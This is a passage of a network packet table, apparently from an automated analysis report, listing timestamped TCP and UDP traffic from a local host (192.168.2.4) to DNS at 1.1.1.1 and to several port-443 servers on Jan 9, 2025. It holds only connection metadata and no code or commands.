Jan 9, 2025 14:41:50.776546001 CET	443	50118	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:50.776726961 CET	50118	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:50.776726961 CET	50118	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:50.776726961 CET	50118	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:51.015111923 CET	50122	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:51.015141010 CET	443	50122	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:51.015249968 CET	50122	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:51.015554905 CET	50122	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:51.015563965 CET	443	50122	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:51.083951950 CET	50118	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:51.083980083 CET	443	50118	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:51.469501019 CET	443	50122	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:51.469578028 CET	50122	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:51.470808983 CET	50122	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:51.470818043 CET	443	50122	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:51.471051931 CET	443	50122	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:51.471884966 CET	50122	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:51.471903086 CET	50122	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:51.471980095 CET	443	50122	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:51.790438890 CET	443	50122	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:51.790607929 CET	443	50122	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:51.790755033 CET	50122	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:51.790858030 CET	50122	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:51.790880919 CET	443	50122	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:51.790894032 CET	50122	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:51.790899038 CET	443	50122	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:55.864675999 CET	49862	443	192.168.2.4	204.79.197.219
Jan 9, 2025 14:41:55.864712000 CET	443	49862	204.79.197.219	192.168.2.4
Jan 9, 2025 14:41:55.864701986 CET	49861	443	192.168.2.4	204.79.197.219
Jan 9, 2025 14:41:55.864769936 CET	443	49861	204.79.197.219	192.168.2.4
Jan 9, 2025 14:41:58.978760958 CET	49809	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:58.978786945 CET	443	49809	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:58.978833914 CET	49808	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:58.978847980 CET	443	49808	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:59.803488970 CET	56564	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:41:59.808386087 CET	53	56564	1.1.1.1	192.168.2.4
Jan 9, 2025 14:41:59.810544968 CET	56564	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:41:59.812767029 CET	56564	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:41:59.817538023 CET	53	56564	1.1.1.1	192.168.2.4
Jan 9, 2025 14:42:00.253731012 CET	53	56564	1.1.1.1	192.168.2.4
Jan 9, 2025 14:42:00.254409075 CET	56564	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:42:00.260032892 CET	53	56564	1.1.1.1	192.168.2.4
Jan 9, 2025 14:42:00.260106087 CET	56564	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:42:04.099895000 CET	49806	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:42:04.099930048 CET	443	49806	172.64.41.3	192.168.2.4
Jan 9, 2025 14:42:04.099992037 CET	49807	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:42:04.100024939 CET	443	49807	172.64.41.3	192.168.2.4
Jan 9, 2025 14:42:04.100050926 CET	49810	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:42:04.100073099 CET	443	49810	172.64.41.3	192.168.2.4
Jan 9, 2025 14:42:04.100073099 CET	49811	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:42:04.100100040 CET	443	49811	172.64.41.3	192.168.2.4
Jan 9, 2025 14:42:04.100110054 CET	49859	443	192.168.2.4	23.219.82.51
Jan 9, 2025 14:42:04.100117922 CET	443	49859	23.219.82.51	192.168.2.4
Jan 9, 2025 14:42:04.100195885 CET	49860	443	192.168.2.4	23.219.82.51
Jan 9, 2025 14:42:04.100202084 CET	443	49860	23.219.82.51	192.168.2.4
Jan 9, 2025 14:42:04.101020098 CET	56566	443	192.168.2.4	104.70.121.146
Jan 9, 2025 14:42:04.101116896 CET	443	56566	104.70.121.146	192.168.2.4
Jan 9, 2025 14:42:04.101319075 CET	56566	443	192.168.2.4	104.70.121.146
Jan 9, 2025 14:42:04.101711988 CET	56566	443	192.168.2.4	104.70.121.146
Jan 9, 2025 14:42:04.101752996 CET	443	56566	104.70.121.146	192.168.2.4
Jan 9, 2025 14:42:04.579838037 CET	443	56566	104.70.121.146	192.168.2.4
Jan 9, 2025 14:42:04.603560925 CET	56566	443	192.168.2.4	104.70.121.146
Jan 9, 2025 14:42:04.603598118 CET	443	56566	104.70.121.146	192.168.2.4
Jan 9, 2025 14:42:04.604193926 CET	443	56566	104.70.121.146	192.168.2.4
Jan 9, 2025 14:42:04.604589939 CET	56566	443	192.168.2.4	104.70.121.146
Jan 9, 2025 14:42:04.604697943 CET	443	56566	104.70.121.146	192.168.2.4
Jan 9, 2025 14:42:04.647396088 CET	56566	443	192.168.2.4	104.70.121.146

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 14:40:22.948873997 CET	138	138	192.168.2.4	192.168.2.255
Jan 9, 2025 14:40:51.100164890 CET	49733	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:40:51.113601923 CET	53	49733	1.1.1.1	192.168.2.4
Jan 9, 2025 14:41:00.418306112 CET	53708	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:41:00.418962955 CET	60158	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:41:00.426203012 CET	53	60158	1.1.1.1	192.168.2.4
Jan 9, 2025 14:41:01.902421951 CET	49235	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:41:01.902573109 CET	63701	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:41:02.203126907 CET	65063	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:41:02.203263044 CET	56643	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:41:02.210175037 CET	53	65063	1.1.1.1	192.168.2.4
Jan 9, 2025 14:41:02.210233927 CET	53	56643	1.1.1.1	192.168.2.4
Jan 9, 2025 14:41:03.371119976 CET	57005	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:41:03.371696949 CET	60572	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:41:03.379678965 CET	49589	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:41:03.379803896 CET	56702	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:41:03.385459900 CET	53	60572	1.1.1.1	192.168.2.4
Jan 9, 2025 14:41:03.385615110 CET	53	57005	1.1.1.1	192.168.2.4
Jan 9, 2025 14:41:03.386569023 CET	56344	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:41:03.386768103 CET	62537	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:41:03.400840044 CET	53	62537	1.1.1.1	192.168.2.4
Jan 9, 2025 14:41:03.407469034 CET	62639	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:41:03.407763958 CET	53314	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:41:03.420897961 CET	53	53314	1.1.1.1	192.168.2.4
Jan 9, 2025 14:41:04.632462978 CET	51684	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:41:04.632616997 CET	56779	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:41:04.632899046 CET	58278	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:41:04.633284092 CET	59218	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:41:04.639784098 CET	53	51684	1.1.1.1	192.168.2.4
Jan 9, 2025 14:41:04.639816046 CET	53	56779	1.1.1.1	192.168.2.4
Jan 9, 2025 14:41:04.640748978 CET	53	58278	1.1.1.1	192.168.2.4
Jan 9, 2025 14:41:04.640779018 CET	53	59218	1.1.1.1	192.168.2.4
Jan 9, 2025 14:41:04.729366064 CET	58825	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:41:04.729494095 CET	65071	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:41:04.737190008 CET	53	58825	1.1.1.1	192.168.2.4
Jan 9, 2025 14:41:04.737224102 CET	53	65071	1.1.1.1	192.168.2.4
Jan 9, 2025 14:41:04.858639002 CET	49862	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:41:04.858784914 CET	55005	53	192.168.2.4	1.1.1.1
Jan 9, 2025 14:41:06.343394041 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.512866020 CET	57685	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.645262957 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.832047939 CET	57685	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.881086111 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:06.881103039 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:06.881118059 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:06.881133080 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:06.885942936 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.886560917 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.886738062 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.891479969 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.891659975 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.891752958 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.891855955 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.043121099 CET	443	57685	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.043229103 CET	443	57685	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.043302059 CET	443	57685	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.043320894 CET	443	57685	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.044258118 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.044267893 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.044444084 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.044451952 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.044833899 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.044835091 CET	57685	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.044924021 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.044933081 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.044941902 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.044951916 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.045161963 CET	57685	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.045264006 CET	57685	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.045608997 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.045739889 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.045975924 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.046092987 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.046300888 CET	57685	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.046399117 CET	57685	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.049103975 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.049184084 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.186698914 CET	443	57685	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.186716080 CET	443	57685	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.186724901 CET	443	57685	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.186733007 CET	443	57685	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.187215090 CET	57685	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.187316895 CET	57685	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.187669039 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.187783003 CET	443	57685	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.190078020 CET	443	57685	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.190119982 CET	443	57685	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.190418959 CET	57685	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.224174976 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.281667948 CET	443	57685	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.321299076 CET	57685	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.352798939 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.352798939 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.533185005 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.535303116 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.535393000 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.535407066 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.535418987 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.536362886 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.538579941 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.539659023 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.539947033 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.540838003 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.552936077 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.552952051 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.552994967 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.553004980 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.553469896 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.554606915 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.645782948 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.646797895 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.646867990 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.646927118 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.646938086 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.646946907 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.647138119 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.647337914 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.651793957 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.651989937 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.652101040 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.652110100 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.652271986 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.652344942 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.652399063 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.652441978 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.679560900 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.679627895 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.740940094 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.747288942 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.822762012 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.823014021 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.920578003 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.921688080 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.922238111 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.922447920 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:08.264811993 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:08.264811993 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:08.275970936 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.276622057 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.276678085 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.277113914 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.337028027 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:08.337165117 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:08.362570047 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:08.364037037 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:08.364053011 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:08.364655972 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:08.371474981 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.378622055 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.378660917 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.378726959 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.378762007 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.378797054 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.378875971 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.378911018 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.378945112 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.379028082 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.379062891 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.379095078 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.379142046 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.385953903 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.386029005 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.386188984 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.386337996 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.386337996 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.403791904 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.403810978 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.403824091 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.403834105 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.403848886 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.403860092 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.403872013 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.403920889 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.404098988 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.404112101 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.426026106 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.426249027 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.426496029 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.426775932 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.426892042 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.426924944 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.427057028 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.445846081 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:08.445858955 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:08.445867062 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:08.445878983 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.445890903 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.445902109 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.445913076 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.445921898 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.446502924 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:08.446846962 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.446882010 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.477061987 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.507848024 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.534045935 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.535504103 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.538100004 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.547462940 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:08.547586918 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:08.558981895 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.559036970 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.559515953 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.559684038 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.562096119 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.562838078 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.605309010 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.605813026 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.606085062 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.606348038 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.609983921 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.611344099 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.611362934 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.637856960 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.644361973 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:08.645771027 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:08.646409988 CET	443	58186	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:08.647840023 CET	58186	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:08.678014040 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.679060936 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.679081917 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.679096937 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.679351091 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.679362059 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.681144953 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.681144953 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.682787895 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.683336020 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.683847904 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.693105936 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.693607092 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.693615913 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.693624973 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.693634987 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.693643093 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.693995953 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.693995953 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.694143057 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.702491045 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.702502012 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.702512980 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.702707052 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.702718019 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.702728033 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.702738047 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.702748060 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.702758074 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.702845097 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.702868938 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.702877998 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.702886105 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.702915907 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.703037977 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.703037977 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.703195095 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.703195095 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.709268093 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.709284067 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.709414005 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.709425926 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.709436893 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.709445953 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.709456921 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.709467888 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.709479094 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.709547997 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.709558964 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.709563017 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.709687948 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.709687948 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.709743977 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.709888935 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.709888935 CET	54056	443	192.168.2.4	184.28.190.59
